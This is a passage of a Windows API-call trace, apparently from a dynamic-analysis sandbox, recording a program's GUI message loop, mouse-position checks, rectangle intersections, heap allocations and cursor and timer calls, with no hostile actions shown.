[0178.008] GetCurrentThreadId () returned 0x4e0
[0178.008] GetMessageW (in: lpMsg=0x1cf92c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x1cf92c) returned 1
[0178.317] TranslateMessage (lpMsg=0x1cf92c) returned 0
[0178.317] DispatchMessageW (lpMsg=0x1cf92c) returned 0x0
[0178.317] GetCapture () returned 0x0
[0178.317] WindowFromPoint (Point=0x370) returned 0x1013a
[0178.317] GetWindowLongW (hWnd=0x1013a, nIndex=-21) returned 4728424
[0178.317] GetClientRect (in: hWnd=0x1013a, lpRect=0x1cf3f0 | out: lpRect=0x1cf3f0) returned 1
[0178.317] ScreenToClient (in: hWnd=0x1013a, lpPoint=0x1cf400 | out: lpPoint=0x1cf400) returned 1
[0178.317] PtInRect (lprc=0x1cf3f0, pt=0x336) returned 1
[0178.317] GetCurrentThreadId () returned 0x4e0
[0178.317] GetMessageW (in: lpMsg=0x1cf92c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x1cf92c) returned 1
[0178.629] TranslateMessage (lpMsg=0x1cf92c) returned 0
[0178.629] DispatchMessageW (lpMsg=0x1cf92c) returned 0x0
[0178.629] GetCapture () returned 0x0
[0178.629] WindowFromPoint (Point=0x370) returned 0x1013a
[0178.629] GetWindowLongW (hWnd=0x1013a, nIndex=-21) returned 4728424
[0178.629] GetClientRect (in: hWnd=0x1013a, lpRect=0x1cf3f0 | out: lpRect=0x1cf3f0) returned 1
[0178.629] ScreenToClient (in: hWnd=0x1013a, lpPoint=0x1cf400 | out: lpPoint=0x1cf400) returned 1
[0178.629] PtInRect (lprc=0x1cf3f0, pt=0x336) returned 1
[0178.629] GetCurrentThreadId () returned 0x4e0
[0178.629] GetMessageW (in: lpMsg=0x1cf92c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x1cf92c) returned 1
[0178.941] TranslateMessage (lpMsg=0x1cf92c) returned 0
[0178.941] DispatchMessageW (lpMsg=0x1cf92c) returned 0x0
[0178.941] GetCapture () returned 0x0
[0178.941] WindowFromPoint (Point=0x370) returned 0x1013a
[0178.941] GetWindowLongW (hWnd=0x1013a, nIndex=-21) returned 4728424
[0178.941] GetClientRect (in: hWnd=0x1013a, lpRect=0x1cf3f0 | out: lpRect=0x1cf3f0) returned 1
[0178.941] ScreenToClient (in: hWnd=0x1013a, lpPoint=0x1cf400 | out: lpPoint=0x1cf400) returned 1
[0178.941] PtInRect (lprc=0x1cf3f0, pt=0x336) returned 1
[0178.942] GetCurrentThreadId () returned 0x4e0
[0178.942] GetMessageW (in: lpMsg=0x1cf92c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x1cf92c) returned 1
[0179.253] TranslateMessage (lpMsg=0x1cf92c) returned 0
[0179.253] DispatchMessageW (lpMsg=0x1cf92c) returned 0x0
[0179.253] GetCapture () returned 0x0
[0179.253] WindowFromPoint (Point=0x370) returned 0x1013a
[0179.253] GetWindowLongW (hWnd=0x1013a, nIndex=-21) returned 4728424
[0179.253] GetClientRect (in: hWnd=0x1013a, lpRect=0x1cf3f0 | out: lpRect=0x1cf3f0) returned 1
[0179.253] ScreenToClient (in: hWnd=0x1013a, lpPoint=0x1cf400 | out: lpPoint=0x1cf400) returned 1
[0179.253] PtInRect (lprc=0x1cf3f0, pt=0x336) returned 1
[0179.253] GetCurrentThreadId () returned 0x4e0
[0179.254] GetMessageW (in: lpMsg=0x1cf92c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x1cf92c) returned 1
[0179.565] TranslateMessage (lpMsg=0x1cf92c) returned 0
[0179.565] DispatchMessageW (lpMsg=0x1cf92c) returned 0x0
[0179.565] GetCapture () returned 0x0
[0179.565] WindowFromPoint (Point=0x370) returned 0x1013a
[0179.565] GetWindowLongW (hWnd=0x1013a, nIndex=-21) returned 4728424
[0179.565] GetClientRect (in: hWnd=0x1013a, lpRect=0x1cf3f0 | out: lpRect=0x1cf3f0) returned 1
[0179.565] ScreenToClient (in: hWnd=0x1013a, lpPoint=0x1cf400 | out: lpPoint=0x1cf400) returned 1
[0179.565] PtInRect (lprc=0x1cf3f0, pt=0x336) returned 1
[0179.565] GetCurrentThreadId () returned 0x4e0
[0179.566] GetMessageW (in: lpMsg=0x1cf92c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x1cf92c) returned 1
[0179.877] TranslateMessage (lpMsg=0x1cf92c) returned 0
[0179.877] DispatchMessageW (lpMsg=0x1cf92c) returned 0x0
[0179.877] GetCapture () returned 0x0
[0179.877] WindowFromPoint (Point=0x370) returned 0x1013a
[0179.877] GetWindowLongW (hWnd=0x1013a, nIndex=-21) returned 4728424
[0179.877] GetClientRect (in: hWnd=0x1013a, lpRect=0x1cf3f0 | out: lpRect=0x1cf3f0) returned 1
[0179.877] ScreenToClient (in: hWnd=0x1013a, lpPoint=0x1cf400 | out: lpPoint=0x1cf400) returned 1
[0179.877] PtInRect (lprc=0x1cf3f0, pt=0x336) returned 1
[0179.877] GetCurrentThreadId () returned 0x4e0
[0179.877] GetMessageW (in: lpMsg=0x1cf92c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x1cf92c) returned 1
[0180.189] TranslateMessage (lpMsg=0x1cf92c) returned 0
[0180.189] DispatchMessageW (lpMsg=0x1cf92c) returned 0x0
[0180.189] GetCapture () returned 0x0
[0180.189] WindowFromPoint (Point=0x370) returned 0x1013a
[0180.189] GetWindowLongW (hWnd=0x1013a, nIndex=-21) returned 4728424
[0180.189] GetClientRect (in: hWnd=0x1013a, lpRect=0x1cf3f0 | out: lpRect=0x1cf3f0) returned 1
[0180.189] ScreenToClient (in: hWnd=0x1013a, lpPoint=0x1cf400 | out: lpPoint=0x1cf400) returned 1
[0180.189] PtInRect (lprc=0x1cf3f0, pt=0x336) returned 1
[0180.189] GetCurrentThreadId () returned 0x4e0
[0180.189] GetMessageW (in: lpMsg=0x1cf92c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x1cf92c) returned 1
[0180.501] TranslateMessage (lpMsg=0x1cf92c) returned 0
[0180.501] DispatchMessageW (lpMsg=0x1cf92c) returned 0x0
[0180.501] GetCapture () returned 0x0
[0180.501] WindowFromPoint (Point=0x370) returned 0x1013a
[0180.501] GetWindowLongW (hWnd=0x1013a, nIndex=-21) returned 4728424
[0180.501] GetClientRect (in: hWnd=0x1013a, lpRect=0x1cf3f0 | out: lpRect=0x1cf3f0) returned 1
[0180.501] ScreenToClient (in: hWnd=0x1013a, lpPoint=0x1cf400 | out: lpPoint=0x1cf400) returned 1
[0180.501] PtInRect (lprc=0x1cf3f0, pt=0x336) returned 1
[0180.501] GetCurrentThreadId () returned 0x4e0
[0180.501] GetMessageW (in: lpMsg=0x1cf92c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x1cf92c) returned 1
[0180.813] TranslateMessage (lpMsg=0x1cf92c) returned 0
[0180.813] DispatchMessageW (lpMsg=0x1cf92c) returned 0x0
[0180.813] GetCapture () returned 0x0
[0180.813] WindowFromPoint (Point=0x370) returned 0x1013a
[0180.813] GetWindowLongW (hWnd=0x1013a, nIndex=-21) returned 4728424
[0180.813] GetClientRect (in: hWnd=0x1013a, lpRect=0x1cf3f0 | out: lpRect=0x1cf3f0) returned 1
[0180.813] ScreenToClient (in: hWnd=0x1013a, lpPoint=0x1cf400 | out: lpPoint=0x1cf400) returned 1
[0180.813] PtInRect (lprc=0x1cf3f0, pt=0x336) returned 1
[0180.813] GetCurrentThreadId () returned 0x4e0
[0180.813] GetMessageW (in: lpMsg=0x1cf92c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x1cf92c) returned 1
[0181.125] TranslateMessage (lpMsg=0x1cf92c) returned 0
[0181.125] DispatchMessageW (lpMsg=0x1cf92c) returned 0x0
[0181.125] GetCapture () returned 0x0
[0181.125] WindowFromPoint (Point=0x370) returned 0x1013a
[0181.125] GetWindowLongW (hWnd=0x1013a, nIndex=-21) returned 4728424
[0181.125] GetClientRect (in: hWnd=0x1013a, lpRect=0x1cf3f0 | out: lpRect=0x1cf3f0) returned 1
[0181.125] ScreenToClient (in: hWnd=0x1013a, lpPoint=0x1cf400 | out: lpPoint=0x1cf400) returned 1
[0181.125] PtInRect (lprc=0x1cf3f0, pt=0x336) returned 1
[0181.125] GetCurrentThreadId () returned 0x4e0
[0181.125] GetMessageW (in: lpMsg=0x1cf92c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x1cf92c) returned 1
[0181.437] TranslateMessage (lpMsg=0x1cf92c) returned 0
[0181.437] DispatchMessageW (lpMsg=0x1cf92c) returned 0x0
[0181.437] GetCapture () returned 0x0
[0181.437] WindowFromPoint (Point=0x370) returned 0x1013a
[0181.437] GetWindowLongW (hWnd=0x1013a, nIndex=-21) returned 4728424
[0181.437] GetClientRect (in: hWnd=0x1013a, lpRect=0x1cf3f0 | out: lpRect=0x1cf3f0) returned 1
[0181.437] ScreenToClient (in: hWnd=0x1013a, lpPoint=0x1cf400 | out: lpPoint=0x1cf400) returned 1
[0181.437] PtInRect (lprc=0x1cf3f0, pt=0x336) returned 1
[0181.437] GetCurrentThreadId () returned 0x4e0
[0181.437] GetMessageW (in: lpMsg=0x1cf92c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x1cf92c) returned 1
[0181.502] GetWindowLongW (hWnd=0x1013a, nIndex=-21) returned 4728424
[0181.502] GetClientRect (in: hWnd=0x1013a, lpRect=0x1cf5d0 | out: lpRect=0x1cf5d0) returned 1
[0181.502] ScreenToClient (in: hWnd=0x1013a, lpPoint=0x1cf5e0 | out: lpPoint=0x1cf5e0) returned 1
[0181.502] PtInRect (lprc=0x1cf5d0, pt=0x251) returned 1
[0181.502] GetCurrentThreadId () returned 0x4e0
[0181.502] GetWindowLongW (hWnd=0x1013a, nIndex=-21) returned 4728424
[0181.503] ScreenToClient (in: hWnd=0x1013a, lpPoint=0x1cf650 | out: lpPoint=0x1cf650) returned 1
[0181.503] GetMessageTime () returned 104910
[0181.503] GetMessagePos () returned 0x30b0370
[0181.503] GetCapture () returned 0x0
[0181.503] IntersectRect (in: lprcDst=0x1cf040, lprcSrc1=0x1cf040, lprcSrc2=0x1cf0d0 | out: lprcDst=0x1cf040) returned 1
[0181.503] IntersectRect (in: lprcDst=0x1cedfc, lprcSrc1=0x1cedfc, lprcSrc2=0x1cedcc | out: lprcDst=0x1cedfc) returned 1
[0181.503] IntersectRect (in: lprcDst=0x1cf0e0, lprcSrc1=0x1cf0e0, lprcSrc2=0x1cedec | out: lprcDst=0x1cf0e0) returned 1
[0181.503] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0181.503] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x24) returned 0x4b6ca8
[0181.503] IntersectRect (in: lprcDst=0x1cf0e0, lprcSrc1=0x1cf0e0, lprcSrc2=0x1cee0c | out: lprcDst=0x1cf0e0) returned 1
[0181.503] IntersectRect (in: lprcDst=0x1cebd0, lprcSrc1=0x1cebd0, lprcSrc2=0x1cf0d0 | out: lprcDst=0x1cebd0) returned 1
[0181.503] IntersectRect (in: lprcDst=0x1cebd0, lprcSrc1=0x1cebd0, lprcSrc2=0x1cf0d0 | out: lprcDst=0x1cebd0) returned 1
[0181.503] IntersectRect (in: lprcDst=0x1ce808, lprcSrc1=0x1ce808, lprcSrc2=0x1ce7d8 | out: lprcDst=0x1ce808) returned 1
[0181.503] IntersectRect (in: lprcDst=0x1cf168, lprcSrc1=0x1cf168, lprcSrc2=0x1ce7f8 | out: lprcDst=0x1cf168) returned 1
[0181.503] IntersectRect (in: lprcDst=0x1ce98c, lprcSrc1=0x1ce98c, lprcSrc2=0x1ce95c | out: lprcDst=0x1ce98c) returned 1
[0181.503] IntersectRect (in: lprcDst=0x1cf0e0, lprcSrc1=0x1cf0e0, lprcSrc2=0x1ce97c | out: lprcDst=0x1cf0e0) returned 1
[0181.503] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0181.503] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x24) returned 0x4b6cd8
[0181.503] IntersectRect (in: lprcDst=0x1ce7c8, lprcSrc1=0x1ce7c8, lprcSrc2=0x1cf0d0 | out: lprcDst=0x1ce7c8) returned 1
[0181.503] IntersectRect (in: lprcDst=0x1cf0e0, lprcSrc1=0x1cf0e0, lprcSrc2=0x1ce99c | out: lprcDst=0x1cf0e0) returned 1
[0181.503] IntersectRect (in: lprcDst=0x1ce760, lprcSrc1=0x1ce760, lprcSrc2=0x1cf0d0 | out: lprcDst=0x1ce760) returned 1
[0181.503] IntersectRect (in: lprcDst=0x1ce760, lprcSrc1=0x1ce760, lprcSrc2=0x1cf0d0 | out: lprcDst=0x1ce760) returned 1
[0181.503] IntersectRect (in: lprcDst=0x1ce4ec, lprcSrc1=0x1ce4ec, lprcSrc2=0x1ce3a4 | out: lprcDst=0x1ce4ec) returned 1
[0181.503] IntersectRect (in: lprcDst=0x1cf0e0, lprcSrc1=0x1cf0e0, lprcSrc2=0x1ce50c | out: lprcDst=0x1cf0e0) returned 1
[0181.503] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0181.503] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x24) returned 0x4b6d08
[0181.503] IntersectRect (in: lprcDst=0x1cf0e0, lprcSrc1=0x1cf0e0, lprcSrc2=0x1ce52c | out: lprcDst=0x1cf0e0) returned 1
[0181.504] IntersectRect (in: lprcDst=0x1ce2f0, lprcSrc1=0x1ce2f0, lprcSrc2=0x1cf0d0 | out: lprcDst=0x1ce2f0) returned 1
[0181.504] IntersectRect (in: lprcDst=0x1ce2f0, lprcSrc1=0x1ce2f0, lprcSrc2=0x1cf0d0 | out: lprcDst=0x1ce2f0) returned 1
[0181.504] IntersectRect (in: lprcDst=0x1ce2f0, lprcSrc1=0x1ce2f0, lprcSrc2=0x1cf0d0 | out: lprcDst=0x1ce2f0) returned 1
[0181.504] IntersectRect (in: lprcDst=0x1ce2f0, lprcSrc1=0x1ce2f0, lprcSrc2=0x1cf0d0 | out: lprcDst=0x1ce2f0) returned 1
[0181.504] IntersectRect (in: lprcDst=0x1ce2f0, lprcSrc1=0x1ce2f0, lprcSrc2=0x1cf0d0 | out: lprcDst=0x1ce2f0) returned 1
[0181.504] IntersectRect (in: lprcDst=0x1ce134, lprcSrc1=0x1ce134, lprcSrc2=0x1cdfd0 | out: lprcDst=0x1ce134) returned 1
[0181.504] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0181.504] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x24) returned 0x508e20
[0181.504] IntersectRect (in: lprcDst=0x1cf0e0, lprcSrc1=0x1cf0e0, lprcSrc2=0x1ce124 | out: lprcDst=0x1cf0e0) returned 1
[0181.504] IntersectRect (in: lprcDst=0x1cdfe0, lprcSrc1=0x1cdfe0, lprcSrc2=0x1cf0d0 | out: lprcDst=0x1cdfe0) returned 1
[0181.504] IntersectRect (in: lprcDst=0x1cf0e0, lprcSrc1=0x1cf0e0, lprcSrc2=0x1ce144 | out: lprcDst=0x1cf0e0) returned 1
[0181.504] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x508e20 | out: hHeap=0x450000) returned 1
[0181.504] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x4b6d08 | out: hHeap=0x450000) returned 1
[0181.504] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x4b6cd8 | out: hHeap=0x450000) returned 1
[0181.504] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x4b6ca8 | out: hHeap=0x450000) returned 1
[0181.504] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0181.507] LoadCursorA (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003
[0181.507] GetCursor () returned 0x10005
[0181.507] ShowCursor (bShow=0) returned -1
[0181.507] SetCursor (hCursor=0x10003) returned 0x10005
[0181.507] ShowCursor (bShow=1) returned 0
[0181.508] TranslateMessage (lpMsg=0x1cf92c) returned 0
[0181.508] DispatchMessageW (lpMsg=0x1cf92c) returned 0x0
[0181.508] GetWindowLongW (hWnd=0x1013a, nIndex=-21) returned 4728424
[0181.508] GetMessageTime () returned 104973
[0181.508] GetMessagePos () returned 0xa9028b
[0181.508] GetCapture () returned 0x0
[0181.508] IntersectRect (in: lprcDst=0x1cf0c8, lprcSrc1=0x1cf0c8, lprcSrc2=0x1cf158 | out: lprcDst=0x1cf0c8) returned 1
[0181.508] IntersectRect (in: lprcDst=0x1cee84, lprcSrc1=0x1cee84, lprcSrc2=0x1cee54 | out: lprcDst=0x1cee84) returned 1
[0181.508] IntersectRect (in: lprcDst=0x1cf168, lprcSrc1=0x1cf168, lprcSrc2=0x1cee74 | out: lprcDst=0x1cf168) returned 1
[0181.508] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0181.508] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x24) returned 0x4b6ca8
[0181.508] IntersectRect (in: lprcDst=0x1cf168, lprcSrc1=0x1cf168, lprcSrc2=0x1cee94 | out: lprcDst=0x1cf168) returned 1
[0181.508] IntersectRect (in: lprcDst=0x1cec58, lprcSrc1=0x1cec58, lprcSrc2=0x1cf158 | out: lprcDst=0x1cec58) returned 1
[0181.508] IntersectRect (in: lprcDst=0x1cec58, lprcSrc1=0x1cec58, lprcSrc2=0x1cf158 | out: lprcDst=0x1cec58) returned 1
[0181.508] IntersectRect (in: lprcDst=0x1ce890, lprcSrc1=0x1ce890, lprcSrc2=0x1ce860 | out: lprcDst=0x1ce890) returned 1
[0181.508] IntersectRect (in: lprcDst=0x1cf1f0, lprcSrc1=0x1cf1f0, lprcSrc2=0x1ce880 | out: lprcDst=0x1cf1f0) returned 1
[0181.509] IntersectRect (in: lprcDst=0x1cea14, lprcSrc1=0x1cea14, lprcSrc2=0x1ce9e4 | out: lprcDst=0x1cea14) returned 1
[0181.509] IntersectRect (in: lprcDst=0x1cf168, lprcSrc1=0x1cf168, lprcSrc2=0x1cea04 | out: lprcDst=0x1cf168) returned 1
[0181.509] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0181.509] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x24) returned 0x4b6cd8
[0181.509] IntersectRect (in: lprcDst=0x1ce850, lprcSrc1=0x1ce850, lprcSrc2=0x1cf158 | out: lprcDst=0x1ce850) returned 1
[0181.509] IntersectRect (in: lprcDst=0x1cf168, lprcSrc1=0x1cf168, lprcSrc2=0x1cea24 | out: lprcDst=0x1cf168) returned 1
[0181.509] IntersectRect (in: lprcDst=0x1ce7e8, lprcSrc1=0x1ce7e8, lprcSrc2=0x1cf158 | out: lprcDst=0x1ce7e8) returned 1
[0181.509] IntersectRect (in: lprcDst=0x1ce7e8, lprcSrc1=0x1ce7e8, lprcSrc2=0x1cf158 | out: lprcDst=0x1ce7e8) returned 1
[0181.509] IntersectRect (in: lprcDst=0x1ce574, lprcSrc1=0x1ce574, lprcSrc2=0x1ce42c | out: lprcDst=0x1ce574) returned 1
[0181.509] IntersectRect (in: lprcDst=0x1cf168, lprcSrc1=0x1cf168, lprcSrc2=0x1ce594 | out: lprcDst=0x1cf168) returned 1
[0181.509] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0181.509] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x24) returned 0x4b6d08
[0181.509] IntersectRect (in: lprcDst=0x1cf168, lprcSrc1=0x1cf168, lprcSrc2=0x1ce5b4 | out: lprcDst=0x1cf168) returned 1
[0181.509] IntersectRect (in: lprcDst=0x1ce378, lprcSrc1=0x1ce378, lprcSrc2=0x1cf158 | out: lprcDst=0x1ce378) returned 1
[0181.509] IntersectRect (in: lprcDst=0x1ce378, lprcSrc1=0x1ce378, lprcSrc2=0x1cf158 | out: lprcDst=0x1ce378) returned 1
[0181.509] IntersectRect (in: lprcDst=0x1ce378, lprcSrc1=0x1ce378, lprcSrc2=0x1cf158 | out: lprcDst=0x1ce378) returned 1
[0181.509] IntersectRect (in: lprcDst=0x1ce378, lprcSrc1=0x1ce378, lprcSrc2=0x1cf158 | out: lprcDst=0x1ce378) returned 1
[0181.509] IntersectRect (in: lprcDst=0x1ce378, lprcSrc1=0x1ce378, lprcSrc2=0x1cf158 | out: lprcDst=0x1ce378) returned 1
[0181.509] IntersectRect (in: lprcDst=0x1ce1bc, lprcSrc1=0x1ce1bc, lprcSrc2=0x1ce058 | out: lprcDst=0x1ce1bc) returned 1
[0181.509] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0181.509] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x24) returned 0x508e20
[0181.509] IntersectRect (in: lprcDst=0x1cf168, lprcSrc1=0x1cf168, lprcSrc2=0x1ce1ac | out: lprcDst=0x1cf168) returned 1
[0181.509] IntersectRect (in: lprcDst=0x1ce068, lprcSrc1=0x1ce068, lprcSrc2=0x1cf158 | out: lprcDst=0x1ce068) returned 1
[0181.509] IntersectRect (in: lprcDst=0x1cf168, lprcSrc1=0x1cf168, lprcSrc2=0x1ce1cc | out: lprcDst=0x1cf168) returned 1
[0181.509] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x508e20 | out: hHeap=0x450000) returned 1
[0181.509] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x4b6d08 | out: hHeap=0x450000) returned 1
[0181.509] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x4b6cd8 | out: hHeap=0x450000) returned 1
[0181.509] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x4b6ca8 | out: hHeap=0x450000) returned 1
[0181.509] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0181.509] GetMessageTime () returned 104973
[0181.509] GetMessagePos () returned 0xa9028b
[0181.510] KillTimer (hWnd=0x10136, uIDEvent=0x2004) returned 1
[0181.510] GetCapture () returned 0x0
[0181.510] ClientToScreen (in: hWnd=0x1013a, lpPoint=0x1cf3f4 | out: lpPoint=0x1cf3f4) returned 1
[0181.510] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0xf8) returned 0x4f52e8
[0181.510] GetCurrentThreadId () returned 0x4e0
[0181.510] ClientToScreen (in: hWnd=0x1013a, lpPoint=0x1cf3f8 | out: lpPoint=0x1cf3f8) returned 1
[0181.510] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0xf8) returned 0x4f53e8
[0181.510] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x4f53e8 | out: hHeap=0x450000) returned 1
[0181.510] ClientToScreen (in: hWnd=0x1013a, lpPoint=0x1cf3f8 | out: lpPoint=0x1cf3f8) returned 1
[0181.510] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0xf8) returned 0x4f53e8
[0181.510] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x4f53e8 | out: hHeap=0x450000) returned 1
[0181.510] CActiveIMMAppEx_Trident:IActiveIMMApp:OnDefWindowProc (in: This=0x492320, hWnd=0x1013a, msg=0x2a3, wParam=0x0, lParam=0x590251, plResult=0x1cf4ec | out: plResult=0x1cf4ec) returned 0x1
[0181.510] NtdllDefWindowProc_W () returned 0x0
[0181.511] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x4f52e8 | out: hHeap=0x450000) returned 1
[0181.511] SetTimer (hWnd=0x10136, nIDEvent=0x2005, uElapse=0x12c, lpTimerFunc=0x0) returned 0x2005
[0181.511] ClientToScreen (in: hWnd=0x1013a, lpPoint=0x1cf3f4 | out: lpPoint=0x1cf3f4) returned 1
[0181.511] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0xf8) returned 0x4f52e8
[0181.511] GetCurrentThreadId () returned 0x4e0
[0181.511] CActiveIMMAppEx_Trident:IActiveIMMApp:OnDefWindowProc (in: This=0x492320, hWnd=0x1013a, msg=0x200, wParam=0x0, lParam=0x590251, plResult=0x1cf4ec | out: plResult=0x1cf4ec) returned 0x1
[0181.511] NtdllDefWindowProc_W () returned 0x0
[0181.511] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x4f52e8 | out: hHeap=0x450000) returned 1
[0181.511] GetMessageTime () returned 104973
[0181.511] GetMessagePos () returned 0xa9028b
[0181.511] GetCapture () returned 0x0
[0181.511] ClientToScreen (in: hWnd=0x1013a, lpPoint=0x1cf3f4 | out: lpPoint=0x1cf3f4) returned 1
[0181.512] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0xf8) returned 0x4f52e8
[0181.512] GetCurrentThreadId () returned 0x4e0
[0181.512] ClientToScreen (in: hWnd=0x1013a, lpPoint=0x1cf3f8 | out: lpPoint=0x1cf3f8) returned 1
[0181.512] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0xf8) returned 0x4f53e8
[0181.512] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x4f53e8 | out: hHeap=0x450000) returned 1
[0181.512] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x464950 | out: hHeap=0x450000) returned 1
[0181.512] CActiveIMMAppEx_Trident:IActiveIMMApp:OnDefWindowProc (in: This=0x492320, hWnd=0x1013a, msg=0x8004, wParam=0x0, lParam=0x590251, plResult=0x1cf4ec | out: plResult=0x1cf4ec) returned 0x1
[0181.512] NtdllDefWindowProc_W () returned 0x0
[0181.512] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x4f52e8 | out: hHeap=0x450000) returned 1
[0181.512] GetMessageW (in: lpMsg=0x1cf92c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x1cf92c) returned 1
[0181.811] TranslateMessage (lpMsg=0x1cf92c) returned 0
[0181.811] DispatchMessageW (lpMsg=0x1cf92c) returned 0x0
[0181.811] GetCapture () returned 0x0
[0181.812] WindowFromPoint (Point=0x28b) returned 0x1013a
[0181.812] GetWindowLongW (hWnd=0x1013a, nIndex=-21) returned 4728424
[0181.812] GetClientRect (in: hWnd=0x1013a, lpRect=0x1cf3f0 | out: lpRect=0x1cf3f0) returned 1
[0181.812] ScreenToClient (in: hWnd=0x1013a, lpPoint=0x1cf400 | out: lpPoint=0x1cf400) returned 1
[0181.812] PtInRect (lprc=0x1cf3f0, pt=0x251) returned 1
[0181.812] GetCurrentThreadId () returned 0x4e0
[0181.812] GetMessageW (in: lpMsg=0x1cf92c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x1cf92c) returned 1
[0182.123] TranslateMessage (lpMsg=0x1cf92c) returned 0
[0182.123] DispatchMessageW (lpMsg=0x1cf92c) returned 0x0
[0182.124] GetCapture () returned 0x0
[0182.124] WindowFromPoint (Point=0x28b) returned 0x1013a
[0182.124] GetWindowLongW (hWnd=0x1013a, nIndex=-21) returned 4728424
[0182.124] GetClientRect (in: hWnd=0x1013a, lpRect=0x1cf3f0 | out: lpRect=0x1cf3f0) returned 1
[0182.124] ScreenToClient (in: hWnd=0x1013a, lpPoint=0x1cf400 | out: lpPoint=0x1cf400) returned 1
[0182.124] PtInRect (lprc=0x1cf3f0, pt=0x251) returned 1
[0182.124] GetCurrentThreadId () returned 0x4e0
[0182.124] GetMessageW (in: lpMsg=0x1cf92c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x1cf92c) returned 1
[0182.435] TranslateMessage (lpMsg=0x1cf92c) returned 0
[0182.435] DispatchMessageW (lpMsg=0x1cf92c) returned 0x0
[0182.435] GetCapture () returned 0x0
[0182.435] WindowFromPoint (Point=0x28b) returned 0x1013a
[0182.436] GetWindowLongW (hWnd=0x1013a, nIndex=-21) returned 4728424
[0182.436] GetClientRect (in: hWnd=0x1013a, lpRect=0x1cf3f0 | out: lpRect=0x1cf3f0) returned 1
[0182.436] ScreenToClient (in: hWnd=0x1013a, lpPoint=0x1cf400 | out: lpPoint=0x1cf400) returned 1
[0182.436] PtInRect (lprc=0x1cf3f0, pt=0x251) returned 1
[0182.436] GetCurrentThreadId () returned 0x4e0
[0182.436] GetMessageW (in: lpMsg=0x1cf92c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x1cf92c) returned 1
[0182.747] TranslateMessage (lpMsg=0x1cf92c) returned 0
[0182.747] DispatchMessageW (lpMsg=0x1cf92c) returned 0x0
[0182.747] GetCapture () returned 0x0
[0182.748] WindowFromPoint (Point=0x28b) returned 0x1013a
[0182.748] GetWindowLongW (hWnd=0x1013a, nIndex=-21) returned 4728424
